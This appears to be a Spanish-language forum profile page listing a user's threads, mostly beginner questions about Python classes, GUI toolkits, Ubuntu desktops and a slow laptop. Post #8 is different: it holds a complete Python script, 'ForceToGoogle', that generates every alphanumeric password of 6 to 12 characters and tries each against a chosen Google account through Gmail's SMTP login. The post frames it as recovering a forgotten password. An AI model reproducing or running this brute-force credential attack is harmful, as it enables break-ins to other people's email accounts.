Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Jedahee

#1
Tengo una duda sobre este método... Y es... que hace realmente este método, me podríais poner un ejemplo de una clase utilizando este método y una clase sin este método para poder ver la diferencia...
Y otra cosa, si yo hago esto

Código (python) [Seleccionar]

class coche():
   def __init__(self, rueda, pintura):
        self.rueda = rueda
        self.pintura = pintura
   def imprimir(self):
        self.rueda = input("que tipo de ruedas tienes > ")
        self.pintura = input("color del coche > ")

COCHE = coche()
COCHE.imprimir()


Porque en la parte COCHE = coche() me pide los valores de rueda y pintura si ya lo defino en "def imprimir()", ¿no hay manera de que no me los pida?, es que hay veces que he tenido errores por el valor inicial que le doy

Gracias por responder!  ;D
#2
Buenas!

Tengo pensado realizar un programa serio con interfaz gráfica y tengo varias dudas, con que lenguaje de programación debería hacerlo Python, Java, C...(?) y también que deberia usar en cuanto a GUI en un proyecto serio y grande que sea bonito, QT,  PyGTK, WxPython, PyGTK, Tkinter...

Gracias por adelantado!
#3
GNU/Linux / Como cambiar el gestor de archivos
8 Noviembre 2019, 08:15 AM
Buenas!
Mi problema es que tengo un Ubuntu 18.04 y le he instalado el entorno gráfico budgie ya que me parece bastante atractivo y amigable pero al abrir carpetas me lo abre con Dolphin y un entorno muy feo que desentona mucho, me abre las carpetas con la interfaz de gnome...
Alguien sabe como cambiar el gestor de archivos al gestor de budgie o alguna otra solución?

Gracias!
#4
Buenas!
Quiero hacer un programa con interfaz gráfica con Python 3, lo único que maneja con interfaces gráficas en python 3 en Tkinter pero este creo que es anticuado y quiero renovarme y he pensado en usar Qt5 ya que he visto análisis muy buenos de este.

¿Qué me recomendáis para realizar un programa con interfaz gráfica utlizando Python-3.x?

Gracias por ayudar! ;D
#5
No se porque, desde haace unas semanas aproximadamente cuando le conecto mi cargador al portatil, este se relentiza mucho, no se si es problema, de windows 10, de mi portatil o del cargador

Mi portatil es un HP Pavilion Notebook
Arquitectura de 64bits
SO - Windows 10 Pro x64bits
#6
GNU/Linux / Linux Cinnamon ¿Qué es?
5 Noviembre 2019, 12:42 PM
Tengo una duda sobre Cinnamon, ¿es una interfaz gráfica o es un sistema operativo aparte?
Yo teniendo Ubuntu 18.04 ¿podría instalar la interfaz gráfica de Cinnamon?
#7
Buenas, quiero ejecutar procesos en segundo plano con el lenguaje de porgramación python 3.x
Ejemplo.:
Código (python) [Seleccionar]

import os
    hola = ["hola", "HOLA"]

    def repetir_hola():
        for palabra in hola:
            print(palabra)
            os.system("cls") #esto limpia tu pantalla

    def escribir():
        while True: #Esto hace que esto se ejecute de forma infinita
            archivo = open("archivo.txt", "w") #Esto abre una archivo txt en tu
                                               #directorio actual
            archivo.write("Estoy escribiendo en un archivo") #Esto escribe en tu archivo


como podria ejecutar los dos bucles al mismo tiempo o ejecutar el bucle que imprime "hola" en pantalla mientras el otro se realiza
#8
Este es un programa realizado con python 3.6, encargado de generar todas las combinaciones posibles de palabras de longitud de 6 a 12 caracteres(no incluye caracteres especiales), luego tendréis que introducir un nombre de usuario de una cuenta de google y este programa se encarga de intentar entrar en la cuenta del usuario introducido validando cada contraseña generada hasta encontrar la correcta

Código (python) [Seleccionar]

# coding=utf-8
########################################################################################################################
#DESARROLLO
#Este programa se encarga de averiguar contraseñas de cuentas de google generando todas las combinaciones posibles de
#palabras de 6 a 12 caracteres de longitud - Este programa esta pensado para que no tengas que cambiar tu ontraseña
#otra vez... si has olvidado tu contraseña usa este programa para que la averigue y la tendrás de nuevo
########################################################################################################################
########################################################################################################################
#ANÁLISIS
#Realizar menu con decoración
#Longitud de caracteres variables de 6 a 12 caractares
#Hay que descargar el modulo colorama
#Se debe saber con antelación el usuario para poder averiguar la contraseña
#Entrada de datos: Longitud de caracteres que queremos que tenga nuestras claves generadas, si comprobar la contraseña o queremos generar claves
#Salida de datos: Claves generadas y si cuando se compruebe con tu cuenta de google la contraseña correcta que la imprima en pantalla
########################################################################################################################
########################################################################################################################
#DISEÑO
#Importar librerias
#Crear archivo donde se van a guardar las libreriass
#Crear variables
#Crear archivos donde guardamos las contraseñas con distintas longitudes de caracter
#Crear menu
#Una vez elegido la opcion del menu crear contraseñas de x caracteres 1-Generar contraseñas de x caracteres 2-comprobar contraseñas generadas 3-Salir
#Crear bucle for donde introduzca cada contraseña generada al inicio de sesión de google
#Que muestre en pantalla si la contraseña es correcta o no
########################################################################################################################
import smtplib, os, sys, colorama
from os import listdir
from typing import Any
from colorama import init, Fore
from termcolor import colored
import time
import random
colorama.init()
num = 0
num = int(num)

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
car = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnÑñOoPpQqRrSsTtUuVvWwXxYyZz0123456789"

def menu():
    Google = Fore.BLUE+"G"+Fore.RED+"o"+Fore.YELLOW+"o"+Fore.BLUE+"g"+Fore.GREEN+"l"+Fore.RED+"e"
    Force = Fore.YELLOW+"Force"
    print("##########################################")
    print("               "+Force+Fore.WHITE+"To"+Google+"            ")
    print(Fore.WHITE + "##########################################")

    print("Realizado por Jesús Daza Hernández")
    print(Fore.GREEN + '----------------------------O------------------------------')
    print(Fore.RED+"["+Fore.WHITE+"1"+Fore.RED+"]", Fore.CYAN+"Generar claves")
    print(Fore.RED+"["+Fore.WHITE+"2"+Fore.RED+"]", Fore.CYAN+"Comporbar claves generadas")
    print(Fore.RED+"["+Fore.WHITE+"3"+Fore.RED+"]", Fore.CYAN+"Salir de FTG"+Fore.WHITE)
def Fuerzabruta6():
    archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            con = str(a + b + c + d + e + f)
                            archivo_6.write(con+"\n")
def Fuerzabruta7():
    archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                con = str(a + b + c + d + e + f + g)
                                archivo_7.write(con+"\n")
def Fuerzabruta8():
    archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_8.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    con = str(a + b + c + d + e + f + g + h)
                                    archivo_8.write(con+"\n")
def Fuerzabruta9():
    archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_9.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    for i in car:
                                        con = str(a + b + c + d + e + f + g + h + i)
                                        archivo_9.write(con+"\n")
def Fuerzabruta10():
    archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_10.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    for i in car:
                                        for j in car:
                                            con = str(a + b + c + d + e + f + g + h + i + j)
                                            archivo_10.write(con+"\n")
def Fuerzabruta11():
    archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_11", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    for i in car:
                                        for j in car:
                                            for k in car:
                                                con = str(a + b + c + d + e + f + g + h + i + j + k)
                                                archivo_11.write(con+"\n")
def Fuerzabruta12():
    archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_12.txt", "w")
    for a in car:
        for b in car:
            for c in car:
                for d in car:
                    for e in car:
                        for f in car:
                            for g in car:
                                for h in car:
                                    for i in car:
                                        for j in car:
                                            for k in car:
                                                for l in car:
                                                    con = str(a + b + c + d + e + f + g + h + i + j + k + l)
                                                    archivo_12.write(con+"\n")
def ComprobarClaves():
    try:
        smtpserver.login(email, pwd)
        print(Fore.GREEN+"CONTRASEÑA CORRECTA")
        print("La contraseña es: ", Fore.BLUE+pwd)
        archivo.close()
    except smtplib.SMTPAuthenticationError:
        pass
def salir():
    sys.exit()

menu()
opc = input(">> ")
opc = int(opc)
os.system("cls")

if opc == 1:
    print("Longitud de las claves a generar(6-12)")
    longitud = input(">> ")
    longitud = int(longitud)
    if longitud >=6 and longitud <=12:
        if longitud == 6:
            Fuerzabruta6()
        elif longitud == 7:
            Fuerzabruta7()
        elif longitud == 8:
            Fuerzabruta8()
        elif longitud == 9:
            Fuerzabruta9()
        elif longitud == 10:
            Fuerzabruta10()
        elif longitud == 11:
            Fuerzabruta11()
        elif longitud == 12:
            Fuerzabruta12()
        else:
            print("Tienes que elegir una longitud para tus claves a generar del 1 al 12")
            menu()
if opc == 2:
    print("Elige un archivo de contraseñas que quieras comprobar")
    for cosa in listdir("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas"):
        print(Fore.RED+"["+Fore.WHITE+str(num)+Fore.RED+"]", Fore.YELLOW+cosa+Fore.WHITE)
        num = int(num) + 1

    arch_comp = input("Archivo a comprobar(poner nombre completo sin extension) >> ")
    os.system("cls")
    email = input("Tu email: ")

    if arch_comp == "contraseñas_6":
        archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "r")
        for pwd in archivo_6:
            ComprobarClaves()
    if arch_comp == "contraseñas_7":
        archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "r")
        for pwd in archivo_7:
            ComprobarClaves()
    if arch_comp == "contraseñas_8":
        archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_8.txt", "r")
        for pwd in archivo_8:
            ComprobarClaves()
    if arch_comp == "contraseñas_9":
        archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_9.txt", "r")
        for pwd in archivo_9:
            ComprobarClaves()
    if arch_comp == "contraseñas_10":
        archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_10.txt", "r")
        for pwd in archivo_10:
            ComprobarClaves()
    if arch_comp == "contraseñas_11":
        archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_11.txt", "r")
        for pwd in archivo_11:
            ComprobarClaves()
    if arch_comp == "contraseñas_12":
        archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_12.txt", "r")
        for pwd in archivo_12:
            ComprobarClaves()
if opc == 3:
    salir()



¿Que os parece?